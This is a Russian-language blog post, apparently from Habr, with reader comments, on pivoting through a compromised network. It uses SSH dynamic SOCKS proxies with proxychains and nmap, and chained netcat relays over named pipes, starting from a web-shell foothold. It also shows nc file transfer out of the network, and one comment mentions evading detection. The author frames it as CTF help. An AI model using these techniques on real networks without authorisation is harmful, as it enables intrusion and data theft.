Pivoting или проброс портов

Наткнулся на статью "SSH-туннели — пробрасываем порт" и захотелось ее дополнить.

Итак, какие еще способы тунеллирования есть:

1. Динамический доступ через SSH


Допустим мы имеем SSH доступ в сеть, и хотим получить доступ к другим хостам/портам в этой сети. Способ уже описанный в вышеупомянутой статье предполагает знание хоста: порта куда мы хотим получить доступ. Но что если мы не знаем этого?

Тут может пригодиться динамический доступ через SSH. Для его конфигурации используется опция ssh -D.

ssh -D 127:0.0.1:2222 user@remotehost

После подключения вы получите динамический socks4 прокси-сервер, слушающий на своей машине на порту 2222 и предоставляющий доступ к удаленной сети.

Как воспользоваться этим доступом? Один из вариантов — использовать proxychains.

  • Устанавливаем Proxychains:

    apt-get proxychains
    

  • Конфигурируем proxychains для использования порта 2222 (на нем слушает наш прокси). Для этого редактируем файл /etc/proxychains.conf и меняем текущую конфигурацию в разделе [ProxyList] с socks4 127.0.0.1 9050 на socks4 127.0.0.1 2222
  • Теперь мы можем использовать proxychains с (почти) любой утилитой. Например, можно запустить сканирование всей удаленной сети при помощи nmap:

    proxychains nmap -sT -sV -v -P0 адрес_подсети маска_подсети
    


Второй вариант — прописать адрес этого прокси сервера 127.0.0.1:2222 прямо у себя в браузере. В результате мы сможем ходить на любые веб-сервера в удаленной подсети.

Очень важно понимать что ProxyChains не зря имеют Chains (переводится как «цепи» или «цепочки») в своем названии. Это значит, что можно выстраивать цепочки из прокси и таким образом строить туннели через множество подсетей. Как это сделать — предлагаю изучить самостоятельно.

2. Туннели NetCat (nc)


Практика показывает, что многие просто не знают об этом функционале NetCat. Итак, представим гипотетическую ситуацию:

  • У нас есть доступ в удаленную посдеть на один компьютер (например при помощи web-shell). Будем называть этот компьютер «промежуточый компьютер»;
  • Есть доступ к netcat на этом компьютере;
  • Можем с этого компьютера подключаться при помощи Netcat на свой компьютер (но не наоборот — т.е. у нас т.н. reverse shell);
  • Имеется горячее желание подключиться к какому-то серверу в удаленной сети, например, по протоколу ssh на порту 22, а ssh клиента на промежуточном компьютере нет и поставить его нельзя.

Эта задача легко решается при помощи netcat туннелей. Для этого на своей машине запускаем следующие команды:

mknod backpipe -p 
nc -lvp 1234 0<backpipe | nc -lvp 8443 1>backpipe

При этом нужно иметь права на запись в текущую директорию, чтобы создать файл backpipe, и удостовериться, что другие сервисы не слушают на портах 1234 и 8443.

На промежуточной машине делаем:

mknod backpipe -p
nc адрес_вашего_компьютера 8443 0<backpipe | nc адрес_удаленного_сервера 22 1>backpipe

При этом нужно иметь права на запись в текущую директорию чтобы создать файл backpipe. Дальше на своей машине делаем ssh -p 1234 user@127.0.0.1 и получаем прямой ssh доступ на удаленный компьютер.

В качестве слегка альтернативных комманд можно использовать:

mkfifo backpipe (аналог mknod -p)
nc -lvp 1234 0<backpipe | nc -lvp 8443 | tee backpipe

Здесь важно понимать, что netcat-клиент и netcat-сервер можно комбинировать в любых сочетаниях, а цепочку выстраивать любой длины. Например, вариант когда мы имеем прямой доступ на «промежуточный компьютер».

Не забываем создавать backpipe на каждой машине!

На своей машине:

nc -lp 1234 0<backpipe | nc адрес_промежуточного_компьютера 443 1>backpipe

На промежуточном компьютере 1:

nc -lp 443 0<backpipe | nc адрес_второго_промежуточного_компьютера 443 1>backpipe



На промежуточном компьютере n:

nc -lp 443 0<backpipe | nc адрес_n+1_промежуточного_компьютера 443 1>backpipe

На промежуточном компьютере n+1:

nc -lp 443 0<backpipe | nc адрес_цели порт_цели 1>backpipe

Также можно использовать любые удобные вам порты и имена пайпов.

Аналогичным образом можно передавать файлы с машины на машину.

Например. На своей машине:

nc -lp 443 >file.txt

На машине, где лежит файл:

nc -lp 443 <file.txt

На промежуточной машине:

nc адрес_вашего_компьютера 443 | nc адрес компьютера_где_лежит_файл 443

В данном случае создавать backpipe не нужно, т.к. мы не поддерживаем сессию, а просто передаем 1 файл в рамках одной сессии.

Пожалуй, на этом все. Мне это очень помогает при прохождении различных CTF, надеюсь, и вам пригодится.
  • +12
  • 20.5k
  • 7
Share post

Comments 7

  • UFO just landed and posted this here
      +2
      Посмотрите статью amarao
      Гораздо удобней через ssh-proxy использовать scp.
        +2
        scp используется для передачи файлов. Да, когда есть ssh туннель для передачи файлов удобнее использовать scp. Когда SSH туннеля нет — можно использовать кучу методов в т.ч. ftp, http, sftp, tftp и в частности nc. Вообще передача файлов из удаленной сети — отдельная тема для разговора, особенно интересен вопрос избегания детектирвоания средствами обнаружения при передаче файла.
        +1
        Еще можно написать про .ssh/config в котором все это дело можно красиво прописать и сделать удобные алиасы.
        По примеру с передачей файла я бы лучше взял scp и примерно вот такой конфиг:

        scp file.txt jump:~/
        
        ...
        
        Host jump
        ProxyCommand ssh -q -p22 proxy-server nc -q0 remote 22
        User user1
        
        
          0
          Часто пользуюсь другой командой — ssh… -L 8080:remote_ip:port. Например посмотреть что там с lte-модемом, смски проверить. Пробрасывается локальный порт туда, куда укажешь. Заходишь на 127.0.0.1:8080 и смотришь че там внутри той сети. И не надо никаких прокси.
            0
            Про эту функцию рассказано в статье oldgremlin которую я собственно и дополнял.
            0
            Рекомендую обратить внимание на socat tun: http://www.dest-unreach.org/socat/doc/socat-tun.html

            Only users with full accounts can post comments. Log in, please.